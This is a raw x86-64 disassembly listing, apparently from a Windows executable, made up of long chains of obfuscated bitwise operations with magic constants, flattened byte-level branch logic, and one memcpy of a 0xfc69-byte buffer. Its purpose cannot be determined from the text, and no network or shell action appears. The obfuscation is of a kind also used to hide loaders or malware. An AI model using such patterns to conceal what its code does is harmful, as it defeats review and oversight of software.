mov edi, ebx
and edi, 0x9b11d13f
and r12d, 0x64ee2ec0
or r12d, edi
mov edi, r11d
not edi
or ebx, r11d
and r11d, 0x9b11d13f
and edi, 0x40200240
or edi, r11d
xor edi, r12d
not ebx
or ebx, edi
mov edi, ebx
not edi
and edi, r14d
not r14d
and r14d, ebx
or r14d, edi
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
mov ebx, r14d
not ebx
mov ecx, ebx
and ecx, 0xb4ea5f04
and r14d, 0x4b15a0fb
or r14d, ecx
or ebx, esi
and esi, 0xb4ea5f04
and eax, 0x4b15a0fb
or eax, esi
xor eax, r14d
not ebx
or ebx, eax
mov ecx, ebx
mov eax, ebx
xor eax, 0xfea3e569
and eax, ebx
not ebx
and ebx, 0x48a08100
and ecx, 0xb6036469
or ecx, ebx
xor ecx, 0xb6036469
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x15c1a96
and eax, 0xfea3e569
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1d66185a
and eax, 0xe299e7a5
or eax, ecx
mov ecx, eax
xor ecx, 0x8218e685
xor eax, 0x10401002
and eax, 0x70c11122
and ecx, 0x8f3eeedd
or ecx, eax
mov eax, ecx
xor eax, 0x30811102
xor ecx, 0x8000c99
and ecx, 0x48400cb9
and eax, 0xb7bff346
or eax, ecx
mov r10d, eax
xor r10d, 0xb7bff346
mov r11d, r8d
not r11d
mov edx, r8d
xor edx, 0x6f3dd4e7
and edx, r11d
mov esi, r11d
or esi, 0x6f3dd4e7
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xf7afaa0c
and edx, 0x85055f3
or edx, ebx
mov ecx, esi
not ecx
or edi, esi
and esi, 0xf7afaa0c
and ecx, 0x400110
or ecx, esi
mov ebx, eax
xor ebx, 0x48400cb9
xor eax, 0xd88227a1
xor ecx, edx
mov edx, eax
and edx, ebx
and eax, r10d
not edi
or edi, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0xdaeeb4fe
and edi, 0x25114b01
or edi, ecx
mov ecx, eax
not ecx
and ecx, 0xdaeeb4fe
and eax, 0x25114b01
or eax, ecx
xor eax, edi
mov ecx, r8d
and ecx, 0xb04bac64
and r11d, 0x4fb4539b
or r11d, ecx
or r8d, r10d
and r10d, 0xb04bac64
and ebx, 0x4fb4539b
or ebx, r10d
xor ebx, r11d
not r8d
or r8d, ebx
mov ecx, r8d
not ecx
and ecx, 0xb292858d
and r8d, 0x4d6d7a72
or r8d, ecx
mov ecx, r8d
xor ecx, 0x4d286832
mov r10d, eax
not r10d
xor r8d, 0xb292858d
mov edx, r10d
and edx, 0x92c59741
and eax, 0x6d3a68be
or eax, edx
or r10d, r8d
and r8d, 0x92c59741
and ecx, 0x6d3a68be
or ecx, r8d
xor ecx, eax
not r10d
or r10d, ecx
mov edx, r13d
mov eax, r13d
and eax, 0x334a566b
mov ebx, dword [rbp - 0x28]
mov ecx, ebx
and ecx, 0xccb5a994
or ecx, eax
xor ecx, 0xccb5a994
mov eax, ecx
and eax, r9d
xor ecx, r9d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x69ab5986
and eax, 0x9654a679
or eax, ecx
mov r11d, eax
xor r11d, 0x61a15004
xor eax, 0x200a601
and eax, 0xa0aaf83
and r11d, 0xf5f5507c
or r11d, eax
mov esi, r11d
xor esi, 0xf5f5507c
xor r11d, 0xa0aaf83
mov ecx, r13d
and ecx, 0x75508ffb
mov eax, ebx
and eax, 0x8aaf7004
or eax, ecx
mov edx, eax
xor edx, 0x8aaf7004
xor eax, 0x544003fb
and eax, 0xdc4723ff
mov ecx, eax
mov eax, edx
and eax, 0x23b8dc00
or eax, ecx
xor eax, 0x23b8dc00
or eax, edx
mov edx, eax
not edx
and edx, r11d
or r11d, eax
mov ebx, r11d
not ebx
and eax, esi
or eax, edx
mov edx, eax
not edx
mov ecx, r11d
and ecx, 0xdd35b198
and ebx, 0x22ca4e67
or ebx, ecx
or r11d, edx
and edx, 0xdd35b198
and eax, 0x22ca4e67
or eax, edx
xor eax, ebx
not r11d
or r11d, eax
mov ebx, r10d
not ebx
mov r8d, r10d
and r8d, 0xfcb9c3aa
mov ecx, ebx
and ecx, 0x51fba7e0
mov eax, r10d
and eax, 0xae04581f
or eax, ecx
xor eax, 0xb7ea9c6a
mov r9d, eax
xor r9d, ebx
and r10d, ebx
mov r14d, ebx
and r14d, r10d
xor r10d, ebx
and ebx, 0x3463c55
or ebx, r8d
mov ecx, ebx
xor ecx, 0x9c11c3aa
xor ebx, 0x3463c55
and ecx, 0x9d53f7eb
mov esi, ebx
and esi, 0x62ac0814
or esi, ecx
xor esi, 0x84bd339e
and ebx, 0x19eec475
or ebx, esi
and r9d, eax
mov esi, r9d
and r9d, ebx
not ebx
mov r15d, r11d
not r15d
mov ecx, r15d
and ecx, 0x8830324
mov edi, r11d
and edi, 0xf2181853
or edi, ecx
mov ecx, edi
xor ecx, 0xc0080011
xor edi, 0xde7e7ac
mov edx, r11d
xor edx, 0xfa9b1b77
and edx, r11d
mov r8d, edi
and r8d, 0x3a76dd62
and ecx, 0xc0890215
or ecx, r8d
mov eax, edx
not eax
or edi, eax
and eax, 0x3a76dd62
and edx, 0xc589229d
or edx, eax
xor edx, ecx
not edi
or edi, edx
mov eax, edi
not eax
and eax, 0xee24059b
and edi, 0x11dbfa64
or edi, eax
mov eax, edi
xor eax, 0x10ae0464
and eax, 0x19eec475
xor edi, 0xd51da99
or edi, eax
mov edx, edi
not edx
and r15d, 0xe9ab490
and r11d, 0xf1654b6f
or r11d, r15d
mov eax, r11d
xor eax, 0xe0010b0a
and eax, 0xe6113b8a
xor r11d, 0x177470e5
or r11d, eax
mov r8d, r11d
not r8d
not esi
mov eax, ebx
xor eax, esi
and eax, ebx
and esi, ebx
or esi, r9d
mov ebx, eax
and ebx, esi
xor esi, eax
or esi, ebx
and edi, 0x291e896d
mov ecx, edx
and ecx, 0xd6e17692
or ecx, edi
mov ebx, ecx
xor ebx, 0xd6e17692
mov eax, ecx
xor eax, 0x4a04e2a0
and eax, ebx
and edx, 0x9ce59432
mov edi, r11d
xor edi, 0x9ce59432
mov r9d, eax
and r9d, edx
xor edx, eax
mov eax, edi
and eax, r11d
and edi, r8d
or edx, r9d
mov r9d, eax
and r9d, edi
xor edi, eax
mov r15d, dword [0x1400508cc]
or edi, r9d
mov eax, edx
not eax
and eax, 0xf418cd3f
and edx, 0xbe732c0
or edx, eax
mov eax, edi
not eax
and eax, 0xf418cd3f
and edi, 0xbe732c0
or edi, eax
xor edi, edx
xor ecx, 0x291e896d
mov eax, ecx
and eax, 0x743368f
and ebx, 0xf8bcc970
or ebx, eax
or ecx, r8d
and r8d, 0x743368f
and r11d, 0xf8bcc970
or r11d, r8d
xor r11d, ebx
not ecx
or ecx, r11d
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov ebx, esi
not ebx
mov edx, esi
xor edx, 0x5d5da20e
and edx, esi
mov edi, ecx
mov eax, ecx
xor eax, 0x5d5da20e
and eax, ecx
not ecx
and ecx, 0xe738bf91
and edi, 0x18c7406e
or edi, ecx
mov ecx, edi
xor ecx, 0x18c7406e
xor edi, 0xba651d9f
and edi, ecx
or esi, 0xa2a25df1
mov ecx, edx
not ecx
mov r8d, esi
and r8d, 0x3eea33
and ebx, 0x5d41000c
or ebx, r8d
or esi, ecx
and ecx, 0x3eea33
and edx, 0xffc115cc
or edx, ecx
xor edx, ebx
not esi
or esi, edx
mov ebx, edi
not ebx
mov ecx, eax
not ecx
mov edx, ebx
and edx, 0x2582240d
and edi, 0xda7ddbf2
or edi, edx
or ebx, ecx
and ecx, 0x2582240d
and eax, 0xda7ddbf2
or eax, ecx
xor eax, edi
not ebx
or ebx, eax
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xdc595584
and eax, ebx
and ebx, 0x23a6aa7b
or ebx, ecx
mov ecx, ebx
xor ecx, 0x23060279
xor ebx, 0xdc595584
mov edx, eax
not edx
mov edi, ebx
and edi, 0x50a8b902
and ecx, 0xaf5746fd
or ecx, edi
or ebx, edx
and edx, 0x50a8b902
and eax, 0xaf5746fd
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
or r10d, r14d
mov eax, ebx
not eax
and eax, 0x8d7b21fa
mov ecx, ebx
and ecx, 0x7284de05
or ecx, eax
mov r8d, ecx
xor r8d, 0x7284de05
mov r9d, r10d
not r9d
xor ecx, 0x8d7b21fa
mov eax, r8d
and eax, 0x90c02346
and ebx, 0x6f3fdcb9
or ebx, eax
mov eax, r10d
xor eax, 0x90c02346
mov esi, eax
and esi, r9d
and eax, r10d
mov edi, esi
not edi
mov edx, eax
not edx
mov r11d, edi
and r11d, 0x11404d98
and esi, 0xeebfb267
or esi, r11d
or edi, edx
and edx, 0x11404d98
and eax, 0xeebfb267
or eax, edx
xor eax, esi
not edi
or edi, eax
mov eax, ebx
not eax
and eax, edi
not edi
and edi, ebx
or edi, eax
mov eax, ecx
and eax, 0x7ff9f442
and r8d, 0x80060bbd
or r8d, eax
or ecx, r10d
and r10d, 0x7ff9f442
and r9d, 0x80060bbd
or r9d, r10d
xor r9d, r8d
not ecx
or ecx, r9d
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xc73dcf24
and edx, ecx
not ecx
and ecx, 0x61c8120
and eax, 0xc1214e04
or eax, ecx
xor eax, 0xc1214e04
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x38c230db
and edx, 0xc73dcf24
or edx, eax
sete r9b
setne r10b
cmp r15d, 0xa
setl r11b
cmp r15d, 9
setg r8b
mov edx, r8d
or dl, r10b
xor dl, 1
mov eax, r11d
xor al, r9b
or dl, al
mov ebx, r10d
xor bl, r11b
mov ecx, edx
or cl, bl
xor cl, 1
xor bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edi, ecx
or dil, bl
and bl, dil
xor dil, 1
mov edx, edi
xor dl, cl
and dl, dil
and dil, cl
or dil, bl
mov ecx, edx
xor cl, 1
xor dl, dil
xor dil, 1
or dil, cl
xor dil, 1
or dil, dl
mov ecx, edi
xor cl, 1
and dil, cl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov r14d, edi
xor r14b, 1
and al, r11b
mov ecx, r10d
or cl, r11b
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
and r9b, r8b
and r11b, r10b
or r11b, r9b
xor r11b, 1
mov ecx, r11d
and cl, r8b
xor r11b, r8b
or r11b, cl
mov ecx, r11d
xor cl, 1
mov edx, eax
mov ebx, eax
or cl, al
xor al, 1
and dl, r11b
xor bl, r11b
or bl, dl
xor bl, 1
or r11b, al
mov eax, ecx
xor al, r11b
or cl, r11b
xor cl, 1
or cl, al
xor cl, bl
mov r12d, ecx
xor r12b, 1
and r12b, bl
mov eax, r12d
and al, cl
xor r12b, cl
or r12b, al
mov r10d, edi
mov ecx, r14d
and cl, dil
mov eax, ecx
xor al, 1
mov r9d, eax
or r9b, dil
xor r9b, 1
xor al, dil
or al, r9b
mov r13d, eax
xor r13b, 1
mov esi, eax
mov byte [rbp - 0x2b], al
or sil, r13b
mov ebx, esi
xor bl, 1
and al, bl
mov byte [rbp - 0x2a], al
or bl, dil
mov byte [rbp - 0x29], r14b
or dil, r14b
xor r10b, dil
xor dil, 1
xor cl, r14b
or cl, r9b
xor cl, dil
or dil, r14b
xor dil, 1
or dil, r10b
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r11d, edi
mov r8d, r12d
xor r8b, 1
mov r15d, r8d
or r15b, r12b
xor r15b, 1
mov r9d, r15d
xor r9b, r12b
or r12b, r15b
xor r12b, 1
or r12b, r9b
xor r12b, 1
mov r10d, r9d
and r10b, r12b
xor r12b, r9b
or r12b, r10b
mov byte [rbp - 0x34], r12b
mov ecx, r12d
xor cl, 1
mov byte [rbp - 0x38], cl
mov r14d, edi
xor r14b, 1
mov byte [rbp - 0x23], r14b
mov eax, r12d
and al, cl
xor r12b, al
xor al, 1
mov byte [rbp - 0x30], al
mov edx, ecx
or dl, al
xor dl, 1
mov byte [rbp - 0x28], dl
or r12b, dl
mov edi, r12d
xor dil, cl
or r12b, cl
xor r12b, 1
or r12b, dil
mov byte [rbp - 0x2c], r11b
and r14b, r11b
xor r14b, 1
or r14b, r11b
or r15b, r8b
mov r11d, r14d
xor r11b, 1
mov r9d, r14d
and r9b, r11b
mov ecx, r14d
and cl, r9b
xor r9b, r14b
or r9b, cl
mov ecx, esi
and cl, r13b
mov r10d, r9d
xor r10b, r13b
and r10b, r9b
and r13b, r9b
mov edi, r9d
xor r9b, 1
or dil, r9b
mov edx, edi
xor dl, 1
mov eax, edx
and al, dil
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and dl, r11b
and al, r14b
or al, dl
mov edx, edi
and dl, r14b
xor dil, r14b
or dil, dl
xor dil, 1
mov edx, eax
and dl, dil
xor dil, al
or dil, dl
or cl, byte [rbp - 0x2a]
xor sil, byte [rbp - 0x29]
xor bl, 1
or bl, sil
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
mov edx, r12d
xor dl, 1
xor cl, 1
or cl, al
mov eax, edi
xor al, 1
and al, cl
xor cl, 1
and cl, dil
mov r8d, r15d
xor r8b, 1
or cl, al
and r9b, byte [rbp - 0x2b]
or r13b, r9b
mov eax, r10d
and al, r13b
xor r13b, r10b
or r13b, al
mov eax, r13d
xor al, 1
and r13b, al
mov ebx, eax
and bl, r13b
xor r13b, al
or r13b, bl
mov eax, r13d
xor al, 1
xor r13b, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, cl
xor r13b, 1
or r13b, al
mov r11d, r15d
and r11b, r8b
mov eax, r15d
and al, r11b
xor r11b, r15b
or r11b, al
mov edi, r11d
xor dil, 1
mov esi, r11d
or sil, dil
mov eax, r12d
and al, dl
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor dil, dl
or dl, r12b
mov ecx, edx
xor cl, 1
and cl, dl
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
mov r10d, edx
and r10b, r12b
xor dl, r12b
or dl, r10b
xor cl, r12b
xor dl, 1
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
mov ecx, esi
and sil, r8b
xor cl, 1
mov ebx, ecx
xor bl, r15b
and bl, cl
and cl, r15b
or cl, sil
mov r8d, ebx
xor r8b, 1
xor bl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov r15d, ecx
xor r15b, dl
and cl, r15b
and r15b, dl
mov edx, ecx
xor dl, 1
xor cl, r15b
xor r15b, 1
or r15b, dl
xor r15b, 1
or r15b, cl
xor al, 1
or al, r9b
xor al, r11b
or r11b, r12b
xor r11b, 1
or r11b, dil
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor r15b, 1
mov eax, r15d
or al, r11b
xor r15b, r11b
xor r15b, 1
mov ecx, eax
xor cl, r15b
or r15b, al
xor r15b, 1
or r15b, cl
mov r8d, r13d
xor r8b, 1
mov ecx, r15d
xor cl, 1
mov eax, r8d
xor al, cl
xor al, 1
or al, cl
mov esi, eax
xor sil, 1
and r15b, cl
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
and r13b, r15b
xor r15b, 1
and r15b, r8b
or r15b, r13b
xor r8b, r15b
and r8b, r15b
mov r9d, r8d
xor r9b, 1
mov edx, esi
and dl, al
mov ebx, r8d
and bl, r9b
mov ecx, edx
and cl, sil
xor dl, sil
or dl, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
xor r9b, al
or r8b, sil
xor r8b, 1
or r8b, r9b
xor r8b, 1
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
movzx r11d, byte [rbp - 0x23]
mov edx, r11d
movzx eax, byte [rbp - 0x2c]
or dl, al
mov r9d, edx
xor r9b, 1
mov ecx, eax
xor cl, r11b
and cl, al
mov r10d, eax
movzx r14d, byte [rbp - 0x34]
mov eax, r14d
movzx esi, byte [rbp - 0x38]
or al, sil
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, r9b
mov r9d, eax
xor r9b, 1
xor dl, 1
or bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, eax
and cl, r9b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
movzx edi, byte [rbp - 0x30]
xor dil, sil
or dil, byte [rbp - 0x28]
mov edx, ecx
xor dl, 1
and dl, dil
xor dil, 1
and dil, cl
or dil, dl
mov ecx, eax
mov edx, r14d
and cl, r14b
xor al, r14b
mov r9d, r14d
or al, cl
xor al, 1
mov ecx, edi
and cl, al
xor al, dil
or al, cl
xor al, 1
mov ecx, eax
or cl, bl
xor cl, 1
xor al, bl
xor al, 1
and al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and r9b, r10b
mov edx, r11d
mov ecx, r11d
mov ebx, esi
xor cl, sil
and cl, dl
and dl, sil
or dl, r9b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
xor al, dl
xor dl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, r8d
xor al, 1
mov edx, eax
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
xor al, cl
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
or r8b, cl
xor r8b, 1
or r8b, al
and dl, cl
mov eax, r8d
xor al, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, r8b
or r8b, cl
and cl, al
or cl, dl
mov eax, r8d
xor al, cl
test al, 1
mov edx, 0x622d494b
mov eax, 0x93357914
cmovne edx, eax
test cl, 1
mov eax, edx
mov ecx, 0x622d494b
cmovne eax, ecx
test r8b, 1
cmovne eax, edx
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
mov r8d, 0xfc69
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov eax, dword [0x1400508d0]
lea r9d, [rax - 1]
imul r9d, eax
mov eax, r9d
not eax
mov ebx, eax
and eax, 0xd3618177
mov ecx, r9d
and ecx, 0x2c9e7e88
or ecx, eax
xor ecx, 0xc2ad911b
mov edx, ecx
xor edx, ebx
mov dword [rbp - 0x28], ebx
mov r10d, ebx
and ebx, 0x2e39f902
mov esi, r9d
and esi, 0xd1c606fd
or esi, ebx
mov edi, esi
xor edi, 0xd0c6004d
xor esi, 0x20394800
and esi, 0x21394eb0
and edi, 0xdec6b14f
or edi, esi
mov ebx, edi
xor ebx, 0x1000020
xor edi, 0x10441048
and ebx, 0x1800024
and edi, 0x104c1048
or edi, ebx
mov ebx, edi
xor ebx, 0x104c1048
xor edi, 0xa1a26632
and edx, ecx
mov ecx, edx
not ecx
mov esi, ebx
xor esi, ecx
and esi, ebx
and edi, 0xa1a26672
and ebx, 0x104c100c
or ebx, edi
and ecx, 0xa1a26672
and edx, 0x5e5d998d
or edx, ecx
xor edx, ebx
mov ecx, esi
not ecx
mov eax, edx
not eax
mov ebx, ecx
and ebx, 0x9687ac97
and esi, 0x1481068
or esi, ebx
or ecx, eax
and eax, 0x9687ac97
and edx, 0x69785368
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8b67f740
and ecx, 0x749808bf
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa450f456
and ecx, 0x5baf0ba9
or ecx, eax
mov eax, ecx
xor eax, 0x44800
xor ecx, 0x3a421230
and ecx, 0xfb42b6b5
and eax, 0x4bd494a
or eax, ecx
mov ecx, eax
xor ecx, 0x854840
xor eax, 0xfa023034
and eax, 0xfe3a313e
and ecx, 0x1c5cec1
or ecx, eax
mov edi, ecx
xor edi, 0xfe3a313e
xor ecx, 0x440c80
mov eax, edi
and eax, 1
and ecx, 0x5c460daa
and edi, 0xa3b9f254
or edi, ecx
xor edi, 0xa3b9f254
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 1
and edi, 0xfffffffe
or edi, ecx
not edi
or edi, eax
mov r12d, edi
not r12d
and r10d, 0xf3c33e69
mov edx, r9d
and edx, 0xc3cc196
or edx, r10d
mov ecx, edx
xor ecx, 0xc00c096
xor edx, 0xf3c33e69
mov eax, edx
and eax, 0xa3ff3541
and ecx, 0x5c00cabe
or ecx, eax
mov esi, ecx
xor esi, 0x817f0000
or esi, 0x7280bf7d
mov eax, esi
not eax
or edx, 0x8d7f4082
mov ebx, edx
not ebx
and esi, 0x54c30ac5
and eax, 0x893c4002
or eax, esi
and edx, 0x54c30ac5
and ebx, 0x2200b538
or ebx, edx
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x7280bf7c
and ebx, 0x8d7f4083
or ebx, eax
mov eax, ecx
and eax, 1
xor ecx, 0x5c00cabf
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdabfda05
and ecx, 0x254025fa
or ecx, eax
mov eax, ecx
xor eax, 0x25402568
xor ecx, 0xdabfda05
mov edx, ebx
not edx
mov esi, edx
and esi, 0x18920293
and ebx, 0xe76dfd6c
or ebx, esi
or edx, ecx
and ecx, 0x18920293
and eax, 0xe76dfd6c
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x3c984670
and edx, 0xc367b98f
or edx, eax
mov ebx, edx
xor ebx, 0x1400089
xor edx, 0x14904200
and edx, 0xd6b7fb06
and ebx, 0x294804f9
or ebx, edx
mov r8d, ebx
xor r8d, 0xd6b7fb06
mov eax, edi
and eax, 0x88022025
mov ecx, r12d
and ecx, 0x42008458
or ecx, eax
xor ecx, 0x42008458
mov esi, r12d
and esi, 0x35fd5b82
or esi, ecx
mov eax, esi
not eax
and eax, 0x7bd87cc
and esi, 0xf8427833
or esi, eax
mov r10d, esi
mov r14d, ebx
xor r14d, 0x294804f9
mov eax, r14d
and eax, 0x212459fc
mov ecx, r14d
and ecx, r8d
and r8d, 0xdedba603
or r8d, eax
mov eax, r8d
xor eax, 0x9c900002
xor r8d, 0x212459fc
mov edx, ecx
not edx
mov r11d, r8d
and r11d, 0x624fbffd
and eax, 0x9db04002
or eax, r11d
or r8d, edx
and edx, 0x624fbffd
and ecx, 0x9db04002
or ecx, edx
xor ecx, eax
not r8d
or r8d, ecx
mov r11d, esi
xor r11d, 0xcdbf23b1
mov eax, r11d
and eax, 0x80f7d2bb
xor esi, 0x4d48f10a
or esi, eax
mov eax, esi
not eax
and eax, 0xea6f1484
and esi, 0x1590eb7b
or esi, eax
mov edx, esi
xor edx, 0x1590eb7b
and r12d, 0x542767a1
mov eax, edi
and eax, 0xabd8985e
or eax, r12d
xor eax, 0x2b2f4ae5
and edi, 0x7f082d44
or edi, eax
mov eax, edi
not eax
and eax, 0x68ea29f5
and edi, 0x9715d60a
or edi, eax
mov r13d, r8d
not r13d
mov eax, r13d
and eax, 0x36b9e2eb
mov r15d, r8d
and r15d, 0xc9461d14
or r15d, eax
mov r12d, edi
xor r12d, 0x9715d60a
and r14d, 0x7f082d44
xor ebx, 0x564029bd
or ebx, r14d
mov eax, ebx
not eax
and eax, 0x51443b92
and ebx, 0xaebbc46d
or ebx, eax
mov eax, esi
xor eax, 0x68030084
and eax, 0x6903ca87
xor esi, 0x57621665
and esi, edx
and edx, 0x96fc3578
or edx, eax
mov eax, edi
xor edi, 0xd5e72b14
mov r14d, edi
and edi, r12d
mov r12d, edx
xor r12d, 0x96fc3578
xor edx, 0x2bf13799
and edx, r12d
mov ecx, edx
and ecx, esi
xor esi, edx
or esi, ecx
xor eax, 0x68ea29f5
and r14d, eax
mov ecx, r14d
and ecx, edi
xor edi, r14d
or edi, ecx
mov ecx, esi
not ecx
and ecx, edi
not edi
and edi, esi
or edi, ecx
mov ecx, r12d
and ecx, eax
xor eax, r12d
xor r15d, 0x49b1cfaf
or r15d, r13d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x607d1b3f
and eax, 0x9f82e4c0
or eax, ecx
xor eax, 0x9f82e4c0
mov ecx, edi
and ecx, eax
xor eax, edi
mov edx, r15d
not edx
or eax, ecx
mov ecx, ebx
xor ecx, 0xaebbc46d
xor ebx, 0x51443b92
and ecx, r15d
or r15d, ebx
and ebx, edx
xor r10d, 0x3240dc4e
not r15d
or ebx, ecx
mov ecx, r15d
and ecx, ebx
xor ebx, r15d
or ebx, ecx
not eax
mov ecx, eax
xor ecx, ebx
not ecx
and ecx, ebx
mov edx, ebx
not edx
and edx, 0x4c34c586
and ebx, 0xb3cb3a79
or ebx, edx
xor ebx, 0x4c34c586
or ebx, eax
mov r14d, ecx
not r14d
mov eax, r14d
and eax, 0x7d8ef119
and ecx, 0x82710ee6
or ecx, eax
mov eax, ebx
not eax
or r14d, ebx
and ebx, 0x7d8ef119
and eax, 0x82710ee6
or eax, ebx
xor eax, ecx
not r14d
or r14d, eax
and r8d, r11d
or r11d, r13d
mov eax, r11d
not eax
and r13d, r10d
or r13d, r8d
mov ecx, r13d
not ecx
mov ebx, r11d
and ebx, 0x6e5176de
and eax, 0x91ae8921
or eax, ebx
or r11d, ecx
and ecx, 0x6e5176de
and r13d, 0x91ae8921
or r13d, ecx
xor r13d, eax
not r11d
or r11d, r13d
mov eax, r11d
not eax
and r11d, 0x4251f9d8
and eax, 0xbdae0627
or eax, r11d
mov ebx, eax
xor ebx, 0x4251f9d8
mov r8d, r14d
not r8d
mov edi, eax
xor edi, 0x42a0005
and edi, 0x46a889d
xor eax, 0x2362f64
and eax, ebx
and ebx, 0xfb957762
or ebx, edi
mov edi, ebx
xor edi, 0xfb957762
mov edx, r14d
xor edx, 0x4067d6bc
and edx, r8d
mov esi, r14d
and esi, 0xbf982943
mov ecx, edx
and ecx, esi
xor esi, edx
mov edx, ebx
xor edx, 0x440d5e21
and edx, edi
or esi, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0x570ab39f
and esi, 0xa8f54c60
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x570ab39f
and eax, 0xa8f54c60
or eax, ecx
xor eax, esi
xor ebx, 0x46a889d
mov ecx, r14d
and ecx, 0xae6c4543
and r8d, 0x5193babc
or r8d, ecx
or r14d, ebx
and ebx, 0xae6c4543
and edi, 0x5193babc
or edi, ebx
xor edi, r8d
not r14d
or r14d, edi
not r14d
mov ecx, eax
and ecx, r14d
xor r14d, eax
or r14d, ecx
mov ebx, r14d
not ebx
mov eax, ebx
and eax, 0x6ea21419
mov ecx, r14d
and ecx, 0x915debe6
or ecx, eax
xor ecx, 0x915debe6
mov eax, ebx
and eax, r14d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x66362b42
and eax, 0x99c9d4bd
or eax, ecx
mov edx, eax
xor edx, 0x8994a1
xor eax, 0x6160242
and eax, 0x9f56425e
and edx, 0x60a9bda1
or edx, eax
mov edi, edx
xor edi, 0x9c40001e
xor edx, 0x40809421
and edx, 0x4396d661
and edi, 0xbc69299e
or edi, edx
mov esi, edi
xor esi, 0x3c680816
xor edi, 0x4396d661
and ebx, 0xc36d2e8b
and r14d, 0x3c92d174
or r14d, ebx
mov edx, r14d
xor edx, 0x3c92d174
xor r14d, 0xc36d2e8b
or r14d, edx
mov edx, r14d
not edx
and edx, 0xb1afe2ff
and r14d, 0x4e501d00
or r14d, edx
mov r10d, r14d
xor r10d, 0x4e501d00
mov eax, edi
and eax, 0x811765e8
and esi, 0x7ee89a17
or esi, eax
mov r8d, esi
xor r14d, 0xb1afe2ff
xor esi, 0x811765e8
mov ebx, esi
or ebx, 0x30786a5e
mov eax, r14d
and eax, 0xcf8795a1
mov r11d, r10d
and r11d, 0x30786a5e
or r11d, eax
mov eax, ebx
not eax
or edi, 0xcf8795a1
and ebx, 0xa768e1b6
and eax, 0x48871401
or eax, ebx
mov ecx, edi
not ecx
and edi, 0xa768e1b6
and ecx, 0x10100a48
or ecx, edi
xor ecx, eax
mov eax, ecx
not eax
and eax, 0xb365a629
and ecx, 0x4c9a59d6
or ecx, eax
mov eax, r11d
not eax
and eax, 0xb365a629
and r11d, 0x4c9a59d6
or r11d, eax
xor r8d, 0x6e080011
xor r11d, ecx
mov eax, esi
